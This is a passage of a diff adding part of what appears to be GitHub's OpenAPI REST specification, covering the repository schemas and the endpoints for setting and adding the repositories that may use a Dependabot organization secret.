+                                    "example": "\"2020-07-09T00:17:55Z\""
+                                  }
+                                },
+                                "required": [
+                                  "avatar_url",
+                                  "events_url",
+                                  "followers_url",
+                                  "following_url",
+                                  "gists_url",
+                                  "gravatar_id",
+                                  "html_url",
+                                  "id",
+                                  "node_id",
+                                  "login",
+                                  "organizations_url",
+                                  "received_events_url",
+                                  "repos_url",
+                                  "site_admin",
+                                  "starred_url",
+                                  "subscriptions_url",
+                                  "type",
+                                  "url"
+                                ]
+                              },
+                              "private": {
+                                "description": "Whether the repository is private or public.",
+                                "default": false,
+                                "type": "boolean"
+                              },
+                              "html_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://github.com/octocat/Hello-World"
+                              },
+                              "description": {
+                                "type": "string",
+                                "example": "This your first repo!",
+                                "nullable": true
+                              },
+                              "fork": {
+                                "type": "boolean"
+                              },
+                              "url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/repos/octocat/Hello-World"
+                              },
+                              "archive_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}"
+                              },
+                              "assignees_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}"
+                              },
+                              "blobs_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}"
+                              },
+                              "branches_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}"
+                              },
+                              "collaborators_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}"
+                              },
+                              "comments_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/comments{/number}"
+                              },
+                              "commits_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}"
+                              },
+                              "compare_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}"
+                              },
+                              "contents_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}"
+                              },
+                              "contributors_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/contributors"
+                              },
+                              "deployments_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/deployments"
+                              },
+                              "downloads_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/downloads"
+                              },
+                              "events_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/events"
+                              },
+                              "forks_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/forks"
+                              },
+                              "git_commits_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}"
+                              },
+                              "git_refs_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}"
+                              },
+                              "git_tags_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}"
+                              },
+                              "git_url": {
+                                "type": "string",
+                                "example": "git:github.com/octocat/Hello-World.git"
+                              },
+                              "issue_comment_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}"
+                              },
+                              "issue_events_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}"
+                              },
+                              "issues_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/issues{/number}"
+                              },
+                              "keys_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}"
+                              },
+                              "labels_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/labels{/name}"
+                              },
+                              "languages_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/languages"
+                              },
+                              "merges_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/merges"
+                              },
+                              "milestones_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}"
+                              },
+                              "notifications_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}"
+                              },
+                              "pulls_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}"
+                              },
+                              "releases_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/releases{/id}"
+                              },
+                              "ssh_url": {
+                                "type": "string",
+                                "example": "git@github.com:octocat/Hello-World.git"
+                              },
+                              "stargazers_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/stargazers"
+                              },
+                              "statuses_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}"
+                              },
+                              "subscribers_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/subscribers"
+                              },
+                              "subscription_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/subscription"
+                              },
+                              "tags_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/tags"
+                              },
+                              "teams_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/teams"
+                              },
+                              "trees_url": {
+                                "type": "string",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}"
+                              },
+                              "clone_url": {
+                                "type": "string",
+                                "example": "https://github.com/octocat/Hello-World.git"
+                              },
+                              "mirror_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "git:git.example.com/octocat/Hello-World",
+                                "nullable": true
+                              },
+                              "hooks_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "http://api.github.com/repos/octocat/Hello-World/hooks"
+                              },
+                              "svn_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://svn.github.com/octocat/Hello-World"
+                              },
+                              "homepage": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://github.com",
+                                "nullable": true
+                              },
+                              "language": {
+                                "type": "string",
+                                "nullable": true
+                              },
+                              "forks_count": {
+                                "type": "integer",
+                                "example": 9
+                              },
+                              "stargazers_count": {
+                                "type": "integer",
+                                "example": 80
+                              },
+                              "watchers_count": {
+                                "type": "integer",
+                                "example": 80
+                              },
+                              "size": {
+                                "type": "integer",
+                                "example": 108
+                              },
+                              "default_branch": {
+                                "description": "The default branch of the repository.",
+                                "type": "string",
+                                "example": "master"
+                              },
+                              "open_issues_count": {
+                                "type": "integer",
+                                "example": 0
+                              },
+                              "is_template": {
+                                "description": "Whether this repository acts as a template that can be used to generate new repositories.",
+                                "default": false,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "topics": {
+                                "type": "array",
+                                "items": {
+                                  "type": "string"
+                                }
+                              },
+                              "has_issues": {
+                                "description": "Whether issues are enabled.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "has_projects": {
+                                "description": "Whether projects are enabled.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "has_wiki": {
+                                "description": "Whether the wiki is enabled.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "has_pages": {
+                                "type": "boolean"
+                              },
+                              "has_downloads": {
+                                "description": "Whether downloads are enabled.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "archived": {
+                                "description": "Whether the repository is archived.",
+                                "default": false,
+                                "type": "boolean"
+                              },
+                              "disabled": {
+                                "type": "boolean",
+                                "description": "Returns whether or not this repository disabled."
+                              },
+                              "visibility": {
+                                "description": "The repository visibility: public, private, or internal.",
+                                "default": "public",
+                                "type": "string"
+                              },
+                              "pushed_at": {
+                                "type": "string",
+                                "format": "date-time",
+                                "example": "2011-01-26T19:06:43Z",
+                                "nullable": true
+                              },
+                              "created_at": {
+                                "type": "string",
+                                "format": "date-time",
+                                "example": "2011-01-26T19:01:12Z",
+                                "nullable": true
+                              },
+                              "updated_at": {
+                                "type": "string",
+                                "format": "date-time",
+                                "example": "2011-01-26T19:14:43Z",
+                                "nullable": true
+                              },
+                              "allow_rebase_merge": {
+                                "description": "Whether to allow rebase merges for pull requests.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "template_repository": {
+                                "nullable": true,
+                                "type": "object",
+                                "properties": {
+                                  "id": {
+                                    "type": "integer"
+                                  },
+                                  "node_id": {
+                                    "type": "string"
+                                  },
+                                  "name": {
+                                    "type": "string"
+                                  },
+                                  "full_name": {
+                                    "type": "string"
+                                  },
+                                  "owner": {
+                                    "type": "object",
+                                    "properties": {
+                                      "login": {
+                                        "type": "string"
+                                      },
+                                      "id": {
+                                        "type": "integer"
+                                      },
+                                      "node_id": {
+                                        "type": "string"
+                                      },
+                                      "avatar_url": {
+                                        "type": "string"
+                                      },
+                                      "gravatar_id": {
+                                        "type": "string"
+                                      },
+                                      "url": {
+                                        "type": "string"
+                                      },
+                                      "html_url": {
+                                        "type": "string"
+                                      },
+                                      "followers_url": {
+                                        "type": "string"
+                                      },
+                                      "following_url": {
+                                        "type": "string"
+                                      },
+                                      "gists_url": {
+                                        "type": "string"
+                                      },
+                                      "starred_url": {
+                                        "type": "string"
+                                      },
+                                      "subscriptions_url": {
+                                        "type": "string"
+                                      },
+                                      "organizations_url": {
+                                        "type": "string"
+                                      },
+                                      "repos_url": {
+                                        "type": "string"
+                                      },
+                                      "events_url": {
+                                        "type": "string"
+                                      },
+                                      "received_events_url": {
+                                        "type": "string"
+                                      },
+                                      "type": {
+                                        "type": "string"
+                                      },
+                                      "site_admin": {
+                                        "type": "boolean"
+                                      }
+                                    }
+                                  },
+                                  "private": {
+                                    "type": "boolean"
+                                  },
+                                  "html_url": {
+                                    "type": "string"
+                                  },
+                                  "description": {
+                                    "type": "string"
+                                  },
+                                  "fork": {
+                                    "type": "boolean"
+                                  },
+                                  "url": {
+                                    "type": "string"
+                                  },
+                                  "archive_url": {
+                                    "type": "string"
+                                  },
+                                  "assignees_url": {
+                                    "type": "string"
+                                  },
+                                  "blobs_url": {
+                                    "type": "string"
+                                  },
+                                  "branches_url": {
+                                    "type": "string"
+                                  },
+                                  "collaborators_url": {
+                                    "type": "string"
+                                  },
+                                  "comments_url": {
+                                    "type": "string"
+                                  },
+                                  "commits_url": {
+                                    "type": "string"
+                                  },
+                                  "compare_url": {
+                                    "type": "string"
+                                  },
+                                  "contents_url": {
+                                    "type": "string"
+                                  },
+                                  "contributors_url": {
+                                    "type": "string"
+                                  },
+                                  "deployments_url": {
+                                    "type": "string"
+                                  },
+                                  "downloads_url": {
+                                    "type": "string"
+                                  },
+                                  "events_url": {
+                                    "type": "string"
+                                  },
+                                  "forks_url": {
+                                    "type": "string"
+                                  },
+                                  "git_commits_url": {
+                                    "type": "string"
+                                  },
+                                  "git_refs_url": {
+                                    "type": "string"
+                                  },
+                                  "git_tags_url": {
+                                    "type": "string"
+                                  },
+                                  "git_url": {
+                                    "type": "string"
+                                  },
+                                  "issue_comment_url": {
+                                    "type": "string"
+                                  },
+                                  "issue_events_url": {
+                                    "type": "string"
+                                  },
+                                  "issues_url": {
+                                    "type": "string"
+                                  },
+                                  "keys_url": {
+                                    "type": "string"
+                                  },
+                                  "labels_url": {
+                                    "type": "string"
+                                  },
+                                  "languages_url": {
+                                    "type": "string"
+                                  },
+                                  "merges_url": {
+                                    "type": "string"
+                                  },
+                                  "milestones_url": {
+                                    "type": "string"
+                                  },
+                                  "notifications_url": {
+                                    "type": "string"
+                                  },
+                                  "pulls_url": {
+                                    "type": "string"
+                                  },
+                                  "releases_url": {
+                                    "type": "string"
+                                  },
+                                  "ssh_url": {
+                                    "type": "string"
+                                  },
+                                  "stargazers_url": {
+                                    "type": "string"
+                                  },
+                                  "statuses_url": {
+                                    "type": "string"
+                                  },
+                                  "subscribers_url": {
+                                    "type": "string"
+                                  },
+                                  "subscription_url": {
+                                    "type": "string"
+                                  },
+                                  "tags_url": {
+                                    "type": "string"
+                                  },
+                                  "teams_url": {
+                                    "type": "string"
+                                  },
+                                  "trees_url": {
+                                    "type": "string"
+                                  },
+                                  "clone_url": {
+                                    "type": "string"
+                                  },
+                                  "mirror_url": {
+                                    "type": "string"
+                                  },
+                                  "hooks_url": {
+                                    "type": "string"
+                                  },
+                                  "svn_url": {
+                                    "type": "string"
+                                  },
+                                  "homepage": {
+                                    "type": "string"
+                                  },
+                                  "language": {
+                                    "type": "string"
+                                  },
+                                  "forks_count": {
+                                    "type": "integer"
+                                  },
+                                  "stargazers_count": {
+                                    "type": "integer"
+                                  },
+                                  "watchers_count": {
+                                    "type": "integer"
+                                  },
+                                  "size": {
+                                    "type": "integer"
+                                  },
+                                  "default_branch": {
+                                    "type": "string"
+                                  },
+                                  "open_issues_count": {
+                                    "type": "integer"
+                                  },
+                                  "is_template": {
+                                    "type": "boolean"
+                                  },
+                                  "topics": {
+                                    "type": "array",
+                                    "items": {
+                                      "type": "string"
+                                    }
+                                  },
+                                  "has_issues": {
+                                    "type": "boolean"
+                                  },
+                                  "has_projects": {
+                                    "type": "boolean"
+                                  },
+                                  "has_wiki": {
+                                    "type": "boolean"
+                                  },
+                                  "has_pages": {
+                                    "type": "boolean"
+                                  },
+                                  "has_downloads": {
+                                    "type": "boolean"
+                                  },
+                                  "archived": {
+                                    "type": "boolean"
+                                  },
+                                  "disabled": {
+                                    "type": "boolean"
+                                  },
+                                  "visibility": {
+                                    "type": "string"
+                                  },
+                                  "pushed_at": {
+                                    "type": "string"
+                                  },
+                                  "created_at": {
+                                    "type": "string"
+                                  },
+                                  "updated_at": {
+                                    "type": "string"
+                                  },
+                                  "permissions": {
+                                    "type": "object",
+                                    "properties": {
+                                      "admin": {
+                                        "type": "boolean"
+                                      },
+                                      "maintain": {
+                                        "type": "boolean"
+                                      },
+                                      "push": {
+                                        "type": "boolean"
+                                      },
+                                      "triage": {
+                                        "type": "boolean"
+                                      },
+                                      "pull": {
+                                        "type": "boolean"
+                                      }
+                                    }
+                                  },
+                                  "allow_rebase_merge": {
+                                    "type": "boolean"
+                                  },
+                                  "temp_clone_token": {
+                                    "type": "string"
+                                  },
+                                  "allow_squash_merge": {
+                                    "type": "boolean"
+                                  },
+                                  "allow_auto_merge": {
+                                    "type": "boolean"
+                                  },
+                                  "delete_branch_on_merge": {
+                                    "type": "boolean"
+                                  },
+                                  "allow_update_branch": {
+                                    "type": "boolean"
+                                  },
+                                  "allow_merge_commit": {
+                                    "type": "boolean"
+                                  },
+                                  "subscribers_count": {
+                                    "type": "integer"
+                                  },
+                                  "network_count": {
+                                    "type": "integer"
+                                  }
+                                }
+                              },
+                              "temp_clone_token": {
+                                "type": "string"
+                              },
+                              "allow_squash_merge": {
+                                "description": "Whether to allow squash merges for pull requests.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "allow_auto_merge": {
+                                "description": "Whether to allow Auto-merge to be used on pull requests.",
+                                "default": false,
+                                "type": "boolean",
+                                "example": false
+                              },
+                              "delete_branch_on_merge": {
+                                "description": "Whether to delete head branches when pull requests are merged",
+                                "default": false,
+                                "type": "boolean",
+                                "example": false
+                              },
+                              "allow_merge_commit": {
+                                "description": "Whether to allow merge commits for pull requests.",
+                                "default": true,
+                                "type": "boolean",
+                                "example": true
+                              },
+                              "allow_forking": {
+                                "description": "Whether to allow forking this repo",
+                                "type": "boolean"
+                              },
+                              "subscribers_count": {
+                                "type": "integer"
+                              },
+                              "network_count": {
+                                "type": "integer"
+                              },
+                              "open_issues": {
+                                "type": "integer"
+                              },
+                              "watchers": {
+                                "type": "integer"
+                              },
+                              "master_branch": {
+                                "type": "string"
+                              },
+                              "starred_at": {
+                                "type": "string",
+                                "example": "\"2020-07-09T00:17:42Z\""
+                              }
+                            },
+                            "required": [
+                              "archive_url",
+                              "assignees_url",
+                              "blobs_url",
+                              "branches_url",
+                              "collaborators_url",
+                              "comments_url",
+                              "commits_url",
+                              "compare_url",
+                              "contents_url",
+                              "contributors_url",
+                              "deployments_url",
+                              "description",
+                              "downloads_url",
+                              "events_url",
+                              "fork",
+                              "forks_url",
+                              "full_name",
+                              "git_commits_url",
+                              "git_refs_url",
+                              "git_tags_url",
+                              "hooks_url",
+                              "html_url",
+                              "id",
+                              "node_id",
+                              "issue_comment_url",
+                              "issue_events_url",
+                              "issues_url",
+                              "keys_url",
+                              "labels_url",
+                              "languages_url",
+                              "merges_url",
+                              "milestones_url",
+                              "name",
+                              "notifications_url",
+                              "owner",
+                              "private",
+                              "pulls_url",
+                              "releases_url",
+                              "stargazers_url",
+                              "statuses_url",
+                              "subscribers_url",
+                              "subscription_url",
+                              "tags_url",
+                              "teams_url",
+                              "trees_url",
+                              "url",
+                              "clone_url",
+                              "default_branch",
+                              "forks",
+                              "forks_count",
+                              "git_url",
+                              "has_downloads",
+                              "has_issues",
+                              "has_projects",
+                              "has_wiki",
+                              "has_pages",
+                              "homepage",
+                              "language",
+                              "archived",
+                              "disabled",
+                              "mirror_url",
+                              "open_issues",
+                              "open_issues_count",
+                              "license",
+                              "pushed_at",
+                              "size",
+                              "ssh_url",
+                              "stargazers_count",
+                              "svn_url",
+                              "watchers",
+                              "watchers_count",
+                              "created_at",
+                              "updated_at"
+                            ],
+                            "nullable": true
+                          },
+                          "temp_clone_token": {
+                            "type": "string"
+                          },
+                          "delete_branch_on_merge": {
+                            "type": "boolean"
+                          },
+                          "subscribers_count": {
+                            "type": "integer"
+                          },
+                          "network_count": {
+                            "type": "integer"
+                          },
+                          "code_of_conduct": {
+                            "title": "Code Of Conduct",
+                            "description": "Code Of Conduct",
+                            "type": "object",
+                            "properties": {
+                              "key": {
+                                "type": "string",
+                                "example": "contributor_covenant"
+                              },
+                              "name": {
+                                "type": "string",
+                                "example": "Contributor Covenant"
+                              },
+                              "url": {
+                                "type": "string",
+                                "format": "uri",
+                                "example": "https://api.github.com/codes_of_conduct/contributor_covenant"
+                              },
+                              "body": {
+                                "type": "string",
+                                "example": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment include:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response\n                  to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address,\n                  posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at [EMAIL]. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]\n\n[homepage]: http://contributor-covenant.org\n[version]: http://contributor-covenant.org/version/1/4/\n"
+                              },
+                              "html_url": {
+                                "type": "string",
+                                "format": "uri",
+                                "nullable": true
+                              }
+                            },
+                            "required": [
+                              "url",
+                              "html_url",
+                              "key",
+                              "name"
+                            ]
+                          },
+                          "license": {
+                            "type": "object",
+                            "properties": {
+                              "key": {
+                                "type": "string"
+                              },
+                              "name": {
+                                "type": "string"
+                              },
+                              "spdx_id": {
+                                "type": "string"
+                              },
+                              "url": {
+                                "type": "string"
+                              },
+                              "node_id": {
+                                "type": "string"
+                              }
+                            },
+                            "nullable": true
+                          },
+                          "forks": {
+                            "type": "integer",
+                            "example": 0
+                          },
+                          "open_issues": {
+                            "type": "integer",
+                            "example": 0
+                          },
+                          "watchers": {
+                            "type": "integer",
+                            "example": 0
+                          },
+                          "allow_forking": {
+                            "type": "boolean"
+                          }
+                        },
+                        "required": [
+                          "archive_url",
+                          "assignees_url",
+                          "blobs_url",
+                          "branches_url",
+                          "collaborators_url",
+                          "comments_url",
+                          "commits_url",
+                          "compare_url",
+                          "contents_url",
+                          "contributors_url",
+                          "deployments_url",
+                          "description",
+                          "downloads_url",
+                          "events_url",
+                          "fork",
+                          "forks_url",
+                          "full_name",
+                          "git_commits_url",
+                          "git_refs_url",
+                          "git_tags_url",
+                          "hooks_url",
+                          "html_url",
+                          "id",
+                          "node_id",
+                          "issue_comment_url",
+                          "issue_events_url",
+                          "issues_url",
+                          "keys_url",
+                          "labels_url",
+                          "languages_url",
+                          "merges_url",
+                          "milestones_url",
+                          "name",
+                          "notifications_url",
+                          "owner",
+                          "private",
+                          "pulls_url",
+                          "releases_url",
+                          "stargazers_url",
+                          "statuses_url",
+                          "subscribers_url",
+                          "subscription_url",
+                          "tags_url",
+                          "teams_url",
+                          "trees_url",
+                          "url"
+                        ]
+                      }
+                    }
+                  }
+                },
+                "examples": {
+                  "default": {
+                    "value": {
+                      "total_count": 1,
+                      "repositories": [
+                        {
+                          "id": 1296269,
+                          "node_id": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5",
+                          "name": "Hello-World",
+                          "full_name": "octocat/Hello-World",
+                          "owner": {
+                            "login": "octocat",
+                            "id": 1,
+                            "node_id": "MDQ6VXNlcjE=",
+                            "avatar_url": "https://github.com/images/error/octocat_happy.gif",
+                            "gravatar_id": "",
+                            "url": "https://api.github.com/users/octocat",
+                            "html_url": "https://github.com/octocat",
+                            "followers_url": "https://api.github.com/users/octocat/followers",
+                            "following_url": "https://api.github.com/users/octocat/following{/other_user}",
+                            "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}",
+                            "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}",
+                            "subscriptions_url": "https://api.github.com/users/octocat/subscriptions",
+                            "organizations_url": "https://api.github.com/users/octocat/orgs",
+                            "repos_url": "https://api.github.com/users/octocat/repos",
+                            "events_url": "https://api.github.com/users/octocat/events{/privacy}",
+                            "received_events_url": "https://api.github.com/users/octocat/received_events",
+                            "type": "User",
+                            "site_admin": false
+                          },
+                          "private": false,
+                          "html_url": "https://github.com/octocat/Hello-World",
+                          "description": "This your first repo!",
+                          "fork": false,
+                          "url": "https://api.github.com/repos/octocat/Hello-World",
+                          "archive_url": "https://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}",
+                          "assignees_url": "https://api.github.com/repos/octocat/Hello-World/assignees{/user}",
+                          "blobs_url": "https://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}",
+                          "branches_url": "https://api.github.com/repos/octocat/Hello-World/branches{/branch}",
+                          "collaborators_url": "https://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}",
+                          "comments_url": "https://api.github.com/repos/octocat/Hello-World/comments{/number}",
+                          "commits_url": "https://api.github.com/repos/octocat/Hello-World/commits{/sha}",
+                          "compare_url": "https://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}",
+                          "contents_url": "https://api.github.com/repos/octocat/Hello-World/contents/{+path}",
+                          "contributors_url": "https://api.github.com/repos/octocat/Hello-World/contributors",
+                          "deployments_url": "https://api.github.com/repos/octocat/Hello-World/deployments",
+                          "downloads_url": "https://api.github.com/repos/octocat/Hello-World/downloads",
+                          "events_url": "https://api.github.com/repos/octocat/Hello-World/events",
+                          "forks_url": "https://api.github.com/repos/octocat/Hello-World/forks",
+                          "git_commits_url": "https://api.github.com/repos/octocat/Hello-World/git/commits{/sha}",
+                          "git_refs_url": "https://api.github.com/repos/octocat/Hello-World/git/refs{/sha}",
+                          "git_tags_url": "https://api.github.com/repos/octocat/Hello-World/git/tags{/sha}",
+                          "git_url": "git:github.com/octocat/Hello-World.git",
+                          "issue_comment_url": "https://api.github.com/repos/octocat/Hello-World/issues/comments{/number}",
+                          "issue_events_url": "https://api.github.com/repos/octocat/Hello-World/issues/events{/number}",
+                          "issues_url": "https://api.github.com/repos/octocat/Hello-World/issues{/number}",
+                          "keys_url": "https://api.github.com/repos/octocat/Hello-World/keys{/key_id}",
+                          "labels_url": "https://api.github.com/repos/octocat/Hello-World/labels{/name}",
+                          "languages_url": "https://api.github.com/repos/octocat/Hello-World/languages",
+                          "merges_url": "https://api.github.com/repos/octocat/Hello-World/merges",
+                          "milestones_url": "https://api.github.com/repos/octocat/Hello-World/milestones{/number}",
+                          "notifications_url": "https://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}",
+                          "pulls_url": "https://api.github.com/repos/octocat/Hello-World/pulls{/number}",
+                          "releases_url": "https://api.github.com/repos/octocat/Hello-World/releases{/id}",
+                          "ssh_url": "git@github.com:octocat/Hello-World.git",
+                          "stargazers_url": "https://api.github.com/repos/octocat/Hello-World/stargazers",
+                          "statuses_url": "https://api.github.com/repos/octocat/Hello-World/statuses/{sha}",
+                          "subscribers_url": "https://api.github.com/repos/octocat/Hello-World/subscribers",
+                          "subscription_url": "https://api.github.com/repos/octocat/Hello-World/subscription",
+                          "tags_url": "https://api.github.com/repos/octocat/Hello-World/tags",
+                          "teams_url": "https://api.github.com/repos/octocat/Hello-World/teams",
+                          "trees_url": "https://api.github.com/repos/octocat/Hello-World/git/trees{/sha}",
+                          "hooks_url": "http://api.github.com/repos/octocat/Hello-World/hooks"
+                        }
+                      ]
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      },
+      "put": {
+        "summary": "Set selected repositories for an organization secret",
+        "description": "Replaces all repositories for an organization secret when the `visibility` for repository access is set to `selected`. The visibility is set when you [Create or update an organization secret](https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret). You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/set-selected-repos-for-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "selected_repository_ids": {
+                    "type": "array",
+                    "description": "An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the `visibility` is set to `selected`. You can add and remove individual repositories using the [Set selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) and [Remove selected repository from an organization secret](https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) endpoints.",
+                    "items": {
+                      "type": "integer"
+                    }
+                  }
+                },
+                "required": [
+                  "selected_repository_ids"
+                ]
+              },
+              "example": {
+                "selected_repository_ids": [
+                  64780797
+                ]
+              }
+            }
+          }
+        },
+        "responses": {
+          "204": {
+            "description": "Response"
+          }
+        },
+        "x-github": {
+          "githubCloudOnly": false,
+          "enabledForGitHubApps": true,
+          "category": "dependabot",
+          "subcategory": "secrets"
+        }
+      }
+    },
+    "/orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}": {
+      "put": {
+        "summary": "Add selected repository to an organization secret",
+        "description": "Adds a repository to an organization secret when the `visibility` for repository access is set to `selected`. The visibility is set when you [Create or update an organization secret](https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret). You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+        "tags": [
+          "dependabot"
+        ],
+        "operationId": "dependabot/add-selected-repo-to-org-secret",
+        "externalDocs": {
+          "description": "API method documentation",
+          "url": "https://docs.github.com/rest/reference/dependabot#add-selected-repository-to-an-organization-secret"
+        },
+        "parameters": [
+          {
+            "name": "org",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "secret_name",
+            "description": "secret_name parameter",
+            "in": "path",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "repository_id",
+            "in": "path",
+            "required": true,
+            "schema": {
